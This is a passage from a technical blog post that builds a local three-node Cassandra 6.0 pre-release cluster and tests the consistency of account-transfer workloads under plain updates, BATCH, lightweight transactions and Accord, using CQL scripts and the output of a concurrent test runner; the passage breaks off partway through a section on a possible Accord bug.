Cassandra has evolved significantly since its first release. From an eventually consistent data model without transactions and a schemaless, NoSQL interface over Thrift to where (in the upcoming 6.0 release) it stands as an ACID transactional SQL-like database (granted: severe SQL limitations, transactions are non-interactive, we’ll get to that later).

Meanwhile the lack of joins plus automatic sharding (and a limited secondary index story) means a key characteristic has stayed the same: you model tables based on queries. And as a result your application might end up denormalizing, turning a single write into multiple writes in order to position the database to efficiently answer different queries later on.

In this article we’ll set up a three-node Cassandra cluster on one machine, running the cassandra-6.0 branch (a pre-release state) to test out some transactional workloads across four of Cassandra’s transactional options: none (the default), BATCH updates, Lightweight transaction (LWT) updates, and Accord (i.e. ACID) updates. Accord transactions will become available only when Cassandra 6 is released (perhaps later this year), which is why we are using the pre-release branch.

Setting up a cluster #

Install Java 21 and the ant build system, and gcc and Go for our concurrent test runner Monastery .

sudo apt-get install -y openjdk-21-jdk ant gcc golang
git clone https://github.com/theconsensuslabs/monastery
cd monastery
CGO_ENABLED=1 go build -buildmode=plugin -o cql.so ./plugins/cql
CGO_ENABLED=1 go build -o monastery .

Then grab and build Cassandra.

git clone https://github.com/apache/cassandra
cd cassandra
git checkout cassandra-6.0
ant artifacts -Dcheck.skip=true -Dant.gen-doc.skip=true -Dno-javadoc=true

Set up directories and configuration for three nodes, giving them unique IP addresses and JMX ports.

for i in 1 2 3; do
  n=node$i
  # run `killall java` first and then this will clean up the data directories for clean re-runs.
  rm -rf /etc/cassandra/$n /var/log/cassandra/$n /var/lib/cassandra
  mkdir -p /etc/cassandra/$n /var/log/cassandra/$n
  cp -r ~/cassandra/conf/* /etc/cassandra/$n/

  echo "
cassandra_storagedir=\"/var/lib/cassandra/$n\"
JVM_OPTS=\"\$JVM_OPTS -Dcassandra.jmx.local.port=7${i}99\"" >> /etc/cassandra/$n/cassandra-env.sh

  echo "
cluster_name: 'theconsensus-lab'
listen_address: 127.0.0.$i
rpc_address: 127.0.0.$i
seed_provider:
  - class_name: org.apache.cassandra.locator.SimpleSeedProvider
    parameters:
      - seeds: "127.0.0.1:7000"
accord:
  enabled: true" >> /etc/cassandra/$n/cassandra.yaml

  # Set up max memory usage.
  echo "
-Xms4G
-Xmx4G" >> /etc/cassandra/$n/jvm-server.options
done

Now start up the three nodes one at a time. ( -R allows us to run as root.)

CASSANDRA_CONF=/etc/cassandra/node1 CASSANDRA_LOG_DIR=/var/log/cassandra/node1 /root/cassandra/bin/cassandra -R >> /var/log/cassandra/node1/console.log 2>&1

Wait for the node to come up (you’ll get connection refused errors for a few seconds until the node comes fully up). Eventually you’ll see this:

$ /root/cassandra/bin/nodetool -p 7199 status
Datacenter: datacenter1
=======================
Status=Up/Down
|/ State=Normal/Leaving/Joining/Moving
--  Address    Load       Tokens  Owns (effective)  Host ID                               Rack 
UN  127.0.0.1  72.73 KiB  16      100.0%            6d194555-f6eb-41d0-c000-000000000001  rack1

Where “UN” means “Up” and “Normal”.

Now let’s add node2.

CASSANDRA_CONF=/etc/cassandra/node2 CASSANDRA_LOG_DIR=/var/log/cassandra/node2 /root/cassandra/bin/cassandra -R >> /var/log/cassandra/node2/console.log 2>&1

And once it’s up, nodetool status will eventually look like this.

$ /root/cassandra/bin/nodetool -p 7299 status
Datacenter: datacenter1
=======================
Status=Up/Down
|/ State=Normal/Leaving/Joining/Moving
--  Address    Load       Tokens  Owns (effective)  Host ID                               Rack
UN  127.0.0.1  74.46 KiB  16      100.0%            6d194555-f6eb-41d0-c000-000000000001  rack1
UN  127.0.0.2  79.89 KiB  16      100.0%            6d194555-f6eb-41d0-c000-000000000002  rack1

Now start the final node.

CASSANDRA_CONF=/etc/cassandra/node3 CASSANDRA_LOG_DIR=/var/log/cassandra/node3 /root/cassandra/bin/cassandra -R >> /var/log/cassandra/node3/console.log 2>&1

And wait for it to join.

$ /root/cassandra/bin/nodetool -p 7399 status
Datacenter: datacenter1
=======================
Status=Up/Down
|/ State=Normal/Leaving/Joining/Moving
--  Address    Load        Tokens  Owns (effective)  Host ID                               Rack
UN  127.0.0.1  163.14 KiB  16      64.7%             6d194555-f6eb-41d0-c000-000000000001  rack1
UN  127.0.0.2  173.47 KiB  16      59.3%             6d194555-f6eb-41d0-c000-000000000002  rack1
UN  127.0.0.3  76.7 KiB    16      76.0%             6d194555-f6eb-41d0-c000-000000000003  rack1

Since this is a view of the cluster you’d get these same results querying the nodetool status on any node in the cluster (in this fault-less environment anyway).

Here’s the current view from node2.

$ /root/cassandra/bin/nodetool -p 7299 status
Datacenter: datacenter1
=======================
Status=Up/Down
|/ State=Normal/Leaving/Joining/Moving
--  Address    Load        Tokens  Owns (effective)  Host ID                               Rack
UN  127.0.0.1  163.14 KiB  16      64.7%             6d194555-f6eb-41d0-c000-000000000001  rack1
UN  127.0.0.2  173.47 KiB  16      59.3%             6d194555-f6eb-41d0-c000-000000000002  rack1
UN  127.0.0.3  76.7 KiB    16      76.0%             6d194555-f6eb-41d0-c000-000000000003  rack1

Let’s get transactional!

Accounting #

Let’s say we have an accounts table that tracks balances after transfers. We’ll generate transfers and apply them to Cassandra using every method we have available (plain Cassandra, BATCH, LWT per row, conditional BATCH with LWT, and Accord). We’ll partition our accounts table by customer ID and order by account ID.

We will have only two accounts, with starting balances of 1,000 each. We’ll have two writers produce transfers between the two accounts concurrently. On top of the first axis (e.g. LWT vs Accord) we’ll have a second axis where one variant will do a read-modify-write to produce the transfers and one variant of the workload will do blind writes (no reads involved) to produce the transfers.

While the two writers are concurrently writing, we’ll have a third thread reading concurrently and asserting that the sum of balances between both accounts is 2,000.

When the concurrent writes complete and the workload ends we’ll assert that the sum of balances is still 2,000. For the read-modify-write workload variants we’ll also assert that the end balance of both accounts is a well-known number (because the workload’s intent is deterministic).

And we’ll have a third and final axis. One set of workloads will cross partition boundaries by transferring between accounts belonging to different customers. And the other set of workloads will not cross partition boundaries by only transferring between accounts belonging to the same customer.

The tables will also have two op columns for operations that are capable of doing conditional writes (LWT and Accord) to use as idempotency keys. It isn’t cheating that plain updates and non-LWT BATCH updates won’t use the idempotency columns because they can’t use the idempotency columns.

I’ll explain more about this all as we go.

Plain updates #

Monastery allows us to script concurrent operations on a database by a fixed number of clients. Monastery will run the script against the database for us.

We start off by defining a setup section of the script.

CREATE KEYSPACE IF NOT EXISTS lab WITH replication = {'class':'NetworkTopologyStrategy','datacenter1':3};
DROP TABLE IF EXISTS lab.accounts;
CREATE TABLE lab.accounts (customer int, account_id int, balance int, PRIMARY KEY (customer, account_id));
INSERT INTO lab.accounts (customer, account_id, balance) VALUES (1, 1, 1000);
INSERT INTO lab.accounts (customer, account_id, balance) VALUES (1, 2, 1000);

blind-plain-same.cql

Since the replication factor is 3 and there are only 3 nodes in the cluster, sharding will effectively not happen. But if we added more nodes to the cluster and kept the replication factor at 3, sharding would meaningfully happen.

Then we specify a concurrent section for our two writers and one reader. Each client will do an action repeatedly. The writers will send blind updates repeatedly transferring units between accounts. And the readers will repeatedly try to assert that the balance of the two accounts is constant.

--- concurrent

w1: repeat 400 as x {
  UPDATE lab.accounts SET balance = {x} WHERE customer = 1 AND account_id = 1;  -- assert ok
  UPDATE lab.accounts SET balance = 2000 - {x} WHERE customer = 1 AND account_id = 2;  -- assert ok
}

w2: repeat 400 as x {
  UPDATE lab.accounts SET balance = 2000 - {x} WHERE customer = 1 AND account_id = 1;  -- assert ok
  UPDATE lab.accounts SET balance = {x} WHERE customer = 1 AND account_id = 2;  -- assert ok
}

r1: repeat 1500 {
  SELECT balance FROM lab.accounts WHERE customer = 1;  -- assert sum(0) = 2000 or error
}

blind-plain-same.cql

The last section of the script is a final check stage where we can make any final queries and assertions.

---

check: SELECT balance FROM lab.accounts WHERE customer = 1;  -- assert sum(0) = 2000

blind-plain-same.cql

There’s no balance for account 1 and 2 that we could assume this will come to since they’re both completely in competition. However, the overall invariant remains that no money should be gained or lost.

When we run this script with Monastery we will often see isolation violated (which is expected) in the concurrent section (i.e. the balances don’t sum to 2,000). We may or may not see the final assertion succeed, but if it succeeds it is because of luck not a guarantee.

$ ./monastery cql '127.0.0.1?consistency=quorum' blind-plain-same.cql
COUNT  CLIENT  ASSERTION               GOT
  939  r1      sum(0) = 2000 or error  ({1847}, {1850}) +776 more
f48ab59a-62cb-4061-bb0e-5883b369ef7d
939 assertion(s) failed

So, in this run, the concurrent reader saw mismatched balances 939 of 1500 times. But the ending writes end up balanced again. (These are blind writes so this is more possible than read-modify-writes which would amplify inconsistency.)

Ok, so plain Cassandra doesn’t make for a great bank. At least not in this particular data model. But we have other options! Let’s see BATCH next.

BATCH updates #

Batches, completed in their current form by Cassandra 1.2 (January 2013), let you combine a number of statements into one mutation per partition that is applied isolated and atomically. If the batch spans partitions, it also becomes a guarantee that the statements are eventually applied even in the face of node failures.

All statements in a batch share the same timestamp, where otherwise each statement has its own timestamp. Conflicts are decided by timestamp per cell, not per row. So when two conflicting batches carry different timestamps, the later batch wins every cell that both wrote, and no column ends up holding a value from a different batch than its neighbour. But timestamps are client-generated, and two clients can tie. Cassandra breaks a timestamp tie per cell by keeping the greater value, so two tied batches can each win some columns and lose others. We’ll see this happen shortly.

If we take our blind-plain-same.cql and wrap updates as a BATCH then we’ll actually end up somewhere consistent.

CREATE KEYSPACE IF NOT EXISTS lab WITH replication = {'class':'NetworkTopologyStrategy','datacenter1':3};
DROP TABLE IF EXISTS lab.accounts;
CREATE TABLE lab.accounts (customer int, account_id int, balance int, PRIMARY KEY (customer, account_id));
INSERT INTO lab.accounts (customer, account_id, balance) VALUES (1, 1, 1000);
INSERT INTO lab.accounts (customer, account_id, balance) VALUES (1, 2, 1000);

--- concurrent

w1: repeat 400 as x {
  BEGIN BATCH \
    UPDATE lab.accounts SET balance = {x} WHERE customer = 1 AND account_id = 1; \
    UPDATE lab.accounts SET balance = 2000 - {x} WHERE customer = 1 AND account_id = 2; \
    APPLY BATCH;
}

w2: repeat 400 as x {
  BEGIN BATCH \
    UPDATE lab.accounts SET balance = 2000 - {x} WHERE customer = 1 AND account_id = 1; \
    UPDATE lab.accounts SET balance = {x} WHERE customer = 1 AND account_id = 2; \
    APPLY BATCH;
}

r1: repeat 1500 {
  SELECT balance FROM lab.accounts WHERE customer = 1; -- assert sum(0) = 2000
}

---

check: SELECT balance FROM lab.accounts WHERE customer = 1; -- assert sum(0) = 2000

blind-batch-same.cql

Give it a run.

$ ./monastery cql '127.0.0.1?consistency=quorum' blind-batch-same.cql
no assertion failures
a98088c0-5aec-421a-8ef7-10e15642b243

That’s great! At least for a single partition.

Mostly, anyway. Most runs come back clean like that. But run it a few more times and every few runs you’ll catch a bad sum.

$ ./monastery cql '127.0.0.1?consistency=quorum' blind-batch-same.cql
COUNT  CLIENT  ASSERTION      GOT
    6  r1      sum(0) = 2000  ({1897}, {1893}) +3 more
252c3bcc-35b0-4586-9741-239abf1b577c
6 assertion(s) failed

Look at the two balances. Both of them are large. 1,897 and 1,893 come to 3,790, well over 2,000. Landing on two large numbers takes the large half of one batch next to the large half of the other.

This is the timestamp caveat from earlier rather than a bug. With both writers updating two rows so frequently, their client-generated timestamps collide fairly often. On a tie Cassandra compares the values themselves and keeps the greater one, cell by cell. Account 1 resolves to the larger of x and 2000 - x , and so does account 2. Both cells keep the big number.

We can even see this by hand. Set the same timestamp explicitly on two batches and have them disagree on both rows.

DROP TABLE IF EXISTS lab.tie;
CREATE TABLE lab.tie (customer int, account_id int, balance int, PRIMARY KEY (customer, account_id));
INSERT INTO lab.tie (customer, account_id, balance) VALUES (1, 1, 1000) USING TIMESTAMP 1755300000000000;
INSERT INTO lab.tie (customer, account_id, balance) VALUES (1, 2, 1000) USING TIMESTAMP 1755300000000000;

BEGIN BATCH USING TIMESTAMP 1755400000000000
  UPDATE lab.tie SET balance = 100 WHERE customer = 1 AND account_id = 1;
  UPDATE lab.tie SET balance = 1900 WHERE customer = 1 AND account_id = 2;
APPLY BATCH;

BEGIN BATCH USING TIMESTAMP 1755400000000000
  UPDATE lab.tie SET balance = 1800 WHERE customer = 1 AND account_id = 1;
  UPDATE lab.tie SET balance = 200 WHERE customer = 1 AND account_id = 2;
APPLY BATCH;

SELECT customer, account_id, balance, WRITETIME(balance) FROM lab.tie WHERE customer = 1;

tie.cql

Neither batch wrote (1800, 1900), but that's what we get.

$ /root/cassandra/bin/cqlsh 127.0.0.1 -f tie.cql

 customer | account_id | balance | writetime(balance)
----------+------------+---------+--------------------
        1 |          1 |    1800 |   1755400000000000
        1 |          2 |    1900 |   1755400000000000

(2 rows)

But again this is documented last-write-wins conflict resolution.

BATCH updates, cross-partition #

Let’s tweak our workload slightly to transfer units across partitions: between customers.

CREATE KEYSPACE IF NOT EXISTS lab WITH replication = {'class':'NetworkTopologyStrategy','datacenter1':3};
DROP TABLE IF EXISTS lab.accounts;
CREATE TABLE lab.accounts (customer int, account_id int, balance int, PRIMARY KEY (customer, account_id));
INSERT INTO lab.accounts (customer, account_id, balance) VALUES (1, 1, 1000);
INSERT INTO lab.accounts (customer, account_id, balance) VALUES (2, 1, 1000);

--- concurrent

w1: repeat 400 as x {
  BEGIN BATCH \
    UPDATE lab.accounts SET balance = {x} WHERE customer = 1 AND account_id = 1; \
    UPDATE lab.accounts SET balance = 2000 - {x} WHERE customer = 2 AND account_id = 1; \
    APPLY BATCH;
}

w2: repeat 400 as x {
  BEGIN BATCH \
    UPDATE lab.accounts SET balance = 2000 - {x} WHERE customer = 1 AND account_id = 1; \
    UPDATE lab.accounts SET balance = {x} WHERE customer = 2 AND account_id = 1; \
    APPLY BATCH;
}

r1: repeat 1500 {
  SELECT balance FROM lab.accounts WHERE customer IN (1, 2); -- assert sum(0) = 2000
}

---

check: SELECT balance FROM lab.accounts WHERE customer IN (1, 2); -- assert sum(0) = 2000

blind-batch-cross.cql

Give it a run.

$ ./monastery cql '127.0.0.1?consistency=quorum' blind-batch-cross.cql
COUNT  CLIENT  ASSERTION      GOT
  231  r1      sum(0) = 2000  ({10}, {1989}) +230 more
b8bb3045-fd26-423b-a67e-44bbf1543bd5
231 assertion(s) failed

And we indeed see atomicity preserved (each batch's writes were eventually applied together) but not isolation (concurrent reads saw mismatched balances). The final check passed too, though after what we saw with tied timestamps that part is not quite guaranteed: if the last two batches tie, the durable end state can also mix. Again, this is what the docs tell us will happen.

But let’s go back to working with the same partition and look at another limitation of BATCH updates: read-modify-write workloads.

BATCH updates, read-modify-write #

Let’s change up our workload slightly, keeping the schema the same. This time we’ll have two writers both incrementing units from one account and decrementing units from another. Since both writers are incrementing and decrementing accounts in the same direction, there is a logical ending balance for each account.

CREATE KEYSPACE IF NOT EXISTS lab WITH replication = {'class':'NetworkTopologyStrategy','datacenter1':3};
DROP TABLE IF EXISTS lab.accounts;
CREATE TABLE lab.accounts (customer int, account_id int, balance int, op1 int, op2 int, PRIMARY KEY (customer, account_id));
INSERT INTO lab.accounts (customer, account_id, balance, op1, op2) VALUES (1, 1, 1000, 0, 0);
INSERT INTO lab.accounts (customer, account_id, balance, op1, op2) VALUES (1, 2, 1000, 0, 0);

--- concurrent

w1: repeat 200 {
  p = SELECT balance - 1 FROM lab.accounts WHERE customer = 1 AND account_id = 1;
  q = SELECT balance + 1 FROM lab.accounts WHERE customer = 1 AND account_id = 2;
  BEGIN BATCH \
    UPDATE lab.accounts SET balance = {p} WHERE customer = 1 AND account_id = 1; \
    UPDATE lab.accounts SET balance = {q} WHERE customer = 1 AND account_id = 2; \
    APPLY BATCH;
}

w2: repeat 200 {
  p = SELECT balance - 1 FROM lab.accounts WHERE customer = 1 AND account_id = 1;
  q = SELECT balance + 1 FROM lab.accounts WHERE customer = 1 AND account_id = 2;
  BEGIN BATCH \
    UPDATE lab.accounts SET balance = {p} WHERE customer = 1 AND account_id = 1; \
    UPDATE lab.accounts SET balance = {q} WHERE customer = 1 AND account_id = 2; \
    APPLY BATCH;
}

r1: repeat 1000 {
  SELECT balance FROM lab.accounts WHERE customer = 1; -- assert sum(0) = 2000
}

---

check: SELECT balance FROM lab.accounts WHERE customer = 1; -- assert sum(0) = 2000

check: SELECT balance FROM lab.accounts WHERE customer = 1 AND account_id = 1; -- assert ({600})
check: SELECT balance FROM lab.accounts WHERE customer = 1 AND account_id = 2; -- assert ({1400})

rmw-batch-same.cql

According to the grammar , we can’t even put SELECTs inside the BATCH. So the read stage is not even part of the “transaction”. So there’s basically no consistency we can provide for read-modify-write with BATCH alone. But let’s try it out and see.

$ ./monastery cql '127.0.0.1?consistency=quorum' rmw-batch-same.cql
COUNT  CLIENT  ASSERTION      GOT
  831  r1      sum(0) = 2000  ({797}, {1210}) +166 more
    1  check   ({1400})       ({1210})
    1  check   ({600})        ({797})
    1  check   sum(0) = 2000  ({797}, {1210})
fb0dcd27-a93c-4f6b-9db0-35a4944a58ef
834 assertion(s) failed

Not great! But again, this is documented. And we’ve still got lightweight transactions!

Lightweight transactions #

Lightweight transactions (LWT) came out in Cassandra 2.0 (September 2013) which gave us atomic compare-and-swap built on Paxos. We cannot atomically SELECT and then UPDATE, but we can at least atomically conditionally UPDATE.

Also, LWT timestamps are derived from Paxos and are unique per partition, so timestamp ties that we saw in the BATCH workloads are just not possible when using LWT.

One limitation of LWT is that while there is a way to know that a conditional update definitely failed, there’s no way if the LWT times out to know if it succeeded or not. So in the LWT workload we’ll make use of the op fields to store an idempotency token. Each writer gets its own op field. And each writer loops, retrying the LWT that inserts a unique op value, until it gets back the op value it sent in.

Additionally, while LWT goes through Paxos, reads by default do not. The client executes CONSISTENCY SERIAL to indicate it wants SELECT s to go through Paxos. These reads can fail on a timeout as well so we assert the reads sum to 2,000 or that the read errors.

Let’s rewrite rmw-batch-same.cql in terms of LWT.

CREATE KEYSPACE IF NOT EXISTS lab WITH replication = {'class':'NetworkTopologyStrategy','datacenter1':3};
DROP TABLE IF EXISTS lab.accounts;
CREATE TABLE lab.accounts (customer int, account_id int, balance int, op1 int, op2 int, PRIMARY KEY (customer, account_id));
INSERT INTO lab.accounts (customer, account_id, balance, op1, op2) VALUES (1, 1, 1000, 0, 0);
INSERT INTO lab.accounts (customer, account_id, balance, op1, op2) VALUES (1, 2, 1000, 0, 0);

--- concurrent

w1: repeat 200 as op {
  retry {
    a, p = SELECT balance, balance - 1 FROM lab.accounts WHERE customer = 1 AND account_id = 1;
    b, q = SELECT balance, balance + 1 FROM lab.accounts WHERE customer = 1 AND account_id = 2;
    BEGIN BATCH \
      UPDATE lab.accounts SET balance = {p}, op1 = {op} \
        WHERE customer = 1 AND account_id = 1 IF balance = {a} AND op1 < {op}; \
      UPDATE lab.accounts SET balance = {q} WHERE customer = 1 AND account_id = 2 IF balance = {b}; \
    APPLY BATCH;  -- assert ok or error
    SELECT op1 FROM lab.accounts WHERE customer = 1 AND account_id = 1;  -- assert ({{op}})
  }
}

w2: repeat 200 as op {
  retry {
    a, p = SELECT balance, balance - 1 FROM lab.accounts WHERE customer = 1 AND account_id = 1;
    b, q = SELECT balance, balance + 1 FROM lab.accounts WHERE customer = 1 AND account_id = 2;
    BEGIN BATCH \
      UPDATE lab.accounts SET balance = {p}, op2 = {op} \
        WHERE customer = 1 AND account_id = 1 IF balance = {a} AND op2 < {op}; \
      UPDATE lab.accounts SET balance = {q} WHERE customer = 1 AND account_id = 2 IF balance = {b}; \
    APPLY BATCH;  -- assert ok or error
    SELECT op2 FROM lab.accounts WHERE customer = 1 AND account_id = 1;  -- assert ({{op}})
  }
}

r1: CONSISTENCY SERIAL;
r1: repeat 1000 {
  SELECT balance FROM lab.accounts WHERE customer = 1;  -- assert sum(0) = 2000 or error
}

---

check: SELECT balance FROM lab.accounts WHERE customer = 1;  -- assert sum(0) = 2000

check: SELECT balance FROM lab.accounts WHERE customer = 1 AND account_id = 1;  -- assert ({600})
check: SELECT balance FROM lab.accounts WHERE customer = 1 AND account_id = 2;  -- assert ({1400})

rmw-lwt-same.cql

Give it a run.

$ ./monastery cql '127.0.0.1?consistency=quorum' rmw-lwt-same.cql
no assertion failures
0e1d7cf1-c67a-4f3a-ad0a-9ce4c29bc06c

Very nice. And LWT can still run the old blind-write workload just fine too.

CREATE KEYSPACE IF NOT EXISTS lab WITH replication = {'class':'NetworkTopologyStrategy','datacenter1':3};
DROP TABLE IF EXISTS lab.accounts;
CREATE TABLE lab.accounts (customer int, account_id int, balance int, PRIMARY KEY (customer, account_id));
INSERT INTO lab.accounts (customer, account_id, balance) VALUES (1, 1, 1000);
INSERT INTO lab.accounts (customer, account_id, balance) VALUES (1, 2, 1000);

--- concurrent

w1: repeat 400 as x {
  BEGIN BATCH \
    UPDATE lab.accounts SET balance = {x} WHERE customer = 1 AND account_id = 1 IF EXISTS; \
    UPDATE lab.accounts SET balance = 2000 - {x} WHERE customer = 1 AND account_id = 2; \
  APPLY BATCH;  -- assert ok or error
}

w2: repeat 400 as x {
  BEGIN BATCH \
    UPDATE lab.accounts SET balance = 2000 - {x} WHERE customer = 1 AND account_id = 1 IF EXISTS; \
    UPDATE lab.accounts SET balance = {x} WHERE customer = 1 AND account_id = 2; \
  APPLY BATCH;  -- assert ok or error
}

r1: CONSISTENCY SERIAL;
r1: repeat 1500 {
  SELECT balance FROM lab.accounts WHERE customer = 1;  -- assert sum(0) = 2000 or error
}

---

check: SELECT balance FROM lab.accounts WHERE customer = 1;  -- assert sum(0) = 2000

blind-lwt-same.cql

Run it.

$ ./monastery cql '127.0.0.1?consistency=quorum' blind-lwt-same.cql
no assertion failures
54e91e0c-8d9b-4028-9601-f5300807e483

Fantastic!

But LWT only works on a single partition. Let’s write the blind-write workload with LWT, but this time transferring units between customers.

CREATE KEYSPACE IF NOT EXISTS lab WITH replication = {'class':'NetworkTopologyStrategy','datacenter1':3};
DROP TABLE IF EXISTS lab.accounts;
CREATE TABLE lab.accounts (customer int, account_id int, balance int, PRIMARY KEY (customer, account_id));
INSERT INTO lab.accounts (customer, account_id, balance) VALUES (1, 1, 1000);
INSERT INTO lab.accounts (customer, account_id, balance) VALUES (2, 1, 1000);

--- concurrent

w1: repeat 400 as x {
  BEGIN BATCH \
    UPDATE lab.accounts SET balance = {x} WHERE customer = 1 AND account_id = 1 IF EXISTS; \
    UPDATE lab.accounts SET balance = 2000 - {x} WHERE customer = 2 AND account_id = 1; \
  APPLY BATCH;  -- assert ok
}

w2: repeat 400 as x {
  BEGIN BATCH \
    UPDATE lab.accounts SET balance = 2000 - {x} WHERE customer = 1 AND account_id = 1 IF EXISTS; \
    UPDATE lab.accounts SET balance = {x} WHERE customer = 2 AND account_id = 1; \
  APPLY BATCH;  -- assert ok
}

r1: CONSISTENCY SERIAL;
r1: repeat 1500 {
  SELECT balance FROM lab.accounts WHERE customer IN (1, 2);  -- assert sum(0) = 2000 or error
}

---

check: SELECT balance FROM lab.accounts WHERE customer IN (1, 2);  -- assert sum(0) = 2000

blind-lwt-cross.cql

And run it

$ ./monastery cql '127.0.0.1?consistency=quorum' blind-lwt-cross.cql
COUNT  CLIENT  ASSERTION  ERROR
  400  w1      ok         Batch with conditions cannot span multiple partitions
  400  w2      ok         Batch with conditions cannot span multiple partitions
8842fdf5-dfc9-4415-9c78-9fb68aa20791
800 assertion(s) failed

So we’ve got LWT which can get us consistent read-modify-write within a single partition, but it doesn’t work at all across partitions. And then we’ve got batches which are not isolated across partitions.

This is why the folks at Apple and University of Michigan created Accord .

Full transactions with Accord #

Accord is the EPaxos-inspired leaderless consensus protocol that enables tables in Cassandra to be marked as transactional_mode='full' . All read and write operations on these tables go through the Accord consensus. And we finally get actual ACID transactions, albeit non-interactive ones.

In LWT, the value we read to use in the compare-and-swap would often be stale. The LWT would fail and we’d have to retry it. But a failed LWT doesn’t always mean the write didn't happen. For example, it might indicate that the client timed out while the actual write (eventually) succeeded. Writing, and guarding against, the op column allowed us to make sure we didn’t apply the same write twice (or more).

In Accord, the condition is evaluated at the same time as the read, so the read is not stale and the main reason a client would see a failure is due to a client timeout or a node failure. Both are unlikely in our happy localhost environment. The idempotency key would still be useful in a real system, but we’ll drop it in our lab environment.

CREATE KEYSPACE IF NOT EXISTS lab WITH replication = {'class':'NetworkTopologyStrategy','datacenter1':3};
DROP TABLE IF EXISTS lab.accounts;
CREATE TABLE lab.accounts (customer int, account_id int, balance int, op1 int, op2 int, PRIMARY KEY (customer, account_id)) WITH transactional_mode = 'full';
INSERT INTO lab.accounts (customer, account_id, balance, op1, op2) VALUES (1, 1, 1000, 0, 0);
INSERT INTO lab.accounts (customer, account_id, balance, op1, op2) VALUES (1, 2, 1000, 0, 0);

--- concurrent

w1: repeat 200 {
  BEGIN TRANSACTION \
    LET x = (SELECT balance FROM lab.accounts WHERE customer = 1 AND account_id = 1); \
    IF x.balance >= 1 THEN \
      UPDATE lab.accounts SET balance -= 1 WHERE customer = 1 AND account_id = 1; \
      UPDATE lab.accounts SET balance += 1 WHERE customer = 1 AND account_id = 2; \
    END IF \
  COMMIT TRANSACTION;  -- assert ok
}

w2: repeat 200 {
  BEGIN TRANSACTION \
    LET x = (SELECT balance FROM lab.accounts WHERE customer = 1 AND account_id = 1); \
    IF x.balance >= 1 THEN \
      UPDATE lab.accounts SET balance -= 1 WHERE customer = 1 AND account_id = 1; \
      UPDATE lab.accounts SET balance += 1 WHERE customer = 1 AND account_id = 2; \
    END IF \
  COMMIT TRANSACTION;  -- assert ok
}

r1: repeat 1000 {
  BEGIN TRANSACTION \
    LET x = (SELECT balance FROM lab.accounts WHERE customer = 1 AND account_id = 1); \
    LET y = (SELECT balance FROM lab.accounts WHERE customer = 1 AND account_id = 2); \
    SELECT x.balance, y.balance; \
  COMMIT TRANSACTION;  -- assert sum(0, 1) = 2000 or error
}

---

check: SELECT balance FROM lab.accounts WHERE customer = 1;  -- assert sum(0) = 2000

check: SELECT balance FROM lab.accounts WHERE customer = 1 AND account_id = 1;  -- assert ({600})
check: SELECT balance FROM lab.accounts WHERE customer = 1 AND account_id = 2;  -- assert ({1400})

rmw-accord-same.cql

And run it.

$ ./monastery cql '127.0.0.1?consistency=quorum' rmw-accord-same.cql
no assertion failures
471d1ba8-ae5b-4781-b881-d00a2cd9adcc

Ok, that’s cool, but within the same partition it’s also what was possible in the LWT version. Let’s try out the cross-partition workload.

CREATE KEYSPACE IF NOT EXISTS lab WITH replication = {'class':'NetworkTopologyStrategy','datacenter1':3};
DROP TABLE IF EXISTS lab.accounts;
CREATE TABLE lab.accounts (customer int, account_id int, balance int, op1 int, op2 int, PRIMARY KEY (customer, account_id)) WITH transactional_mode = 'full';
INSERT INTO lab.accounts (customer, account_id, balance, op1, op2) VALUES (1, 1, 1000, 0, 0);
INSERT INTO lab.accounts (customer, account_id, balance, op1, op2) VALUES (2, 1, 1000, 0, 0);

--- concurrent

w1: repeat 200 {
  BEGIN TRANSACTION \
    LET x = (SELECT balance FROM lab.accounts WHERE customer = 1 AND account_id = 1); \
    IF x.balance >= 1 THEN \
      UPDATE lab.accounts SET balance -= 1 WHERE customer = 1 AND account_id = 1; \
      UPDATE lab.accounts SET balance += 1 WHERE customer = 2 AND account_id = 1; \
    END IF \
  COMMIT TRANSACTION;  -- assert ok
}

w2: repeat 200 {
  BEGIN TRANSACTION \
    LET x = (SELECT balance FROM lab.accounts WHERE customer = 1 AND account_id = 1); \
    IF x.balance >= 1 THEN \
      UPDATE lab.accounts SET balance -= 1 WHERE customer = 1 AND account_id = 1; \
      UPDATE lab.accounts SET balance += 1 WHERE customer = 2 AND account_id = 1; \
    END IF \
  COMMIT TRANSACTION;  -- assert ok
}

r1: repeat 1000 {
  BEGIN TRANSACTION \
    LET x = (SELECT balance FROM lab.accounts WHERE customer = 1 AND account_id = 1); \
    LET y = (SELECT balance FROM lab.accounts WHERE customer = 2 AND account_id = 1); \
    SELECT x.balance, y.balance; \
  COMMIT TRANSACTION;  -- assert sum(0, 1) = 2000 or error
}

---

check: SELECT balance FROM lab.accounts WHERE customer IN (1, 2);  -- assert sum(0) = 2000

check: SELECT balance FROM lab.accounts WHERE customer = 1 AND account_id = 1;  -- assert ({600})
check: SELECT balance FROM lab.accounts WHERE customer = 2 AND account_id = 1;  -- assert ({1400})

rmw-accord-cross.cql

And run it.

$ ./monastery cql '127.0.0.1?consistency=quorum' rmw-accord-cross.cql
no assertion failures
f5c6ce4a-dbfa-48dd-b6c1-3367ef563df4

That is entirely new in Cassandra 6 (or will be, when it is released). Very cool.

Possible bug? #

While using Accord, I occasionally saw the concurrent reader report balances that didn’t sum to 2,000. This only ever happened in the same-partition workloads. And while in the RMW workload it seems slightly more possible it was an issue in the workload itself, the invalid sums happened in the simpler blind-write workload as well.

Here’s the blind-write workload.

CREATE KEYSPACE IF NOT EXISTS lab WITH replication = {'class':'NetworkTopologyStrategy','datacenter1':3};
DROP TABLE IF EXISTS lab.accounts;
CREATE TABLE lab.accounts (customer int, account_id int, balance int, PRIMARY KEY (customer, account_id)) WITH transactional_mode = 'full';
INSERT INTO lab.accounts (customer, account_id, balance) VALUES (1, 1, 1000);
INSERT INTO lab.accounts (customer, account_id, balance) VALUES (1, 2, 1000);

--- concurrent

w1: repeat 400 as x {
  BEGIN TRANSACTION \
    UPDATE lab.accounts SET balance = {x} WHERE customer = 1 AND account_id = 1; \
    UPDATE lab.accounts SET balance = 2000 - {x} WHERE customer = 1 AND account_id = 2; \
  COMMIT TRANSACTION;  -- assert ok
}

w2: repeat 400 as x {
  BEGIN TRANSACTION \
    UPDATE lab.accounts SET balance = 2000 - {x} WHERE customer = 1 AND account_id = 1; \
    UPDATE lab.accounts SET balance = {x} WHERE customer = 1 AND account_id = 2; \
  COMMIT TRANSACTION;  -- assert ok
}

r1: repeat 1500 {
  BEGIN TRANSACTION \
    LET x = (SELECT balance FROM lab.accounts WHERE customer = 1 AND account_id = 1); \
    LET y = (SELECT balance FROM lab.accounts WHERE customer = 1 AND account_id = 2); \
    SELECT x.balance, y.balance; \
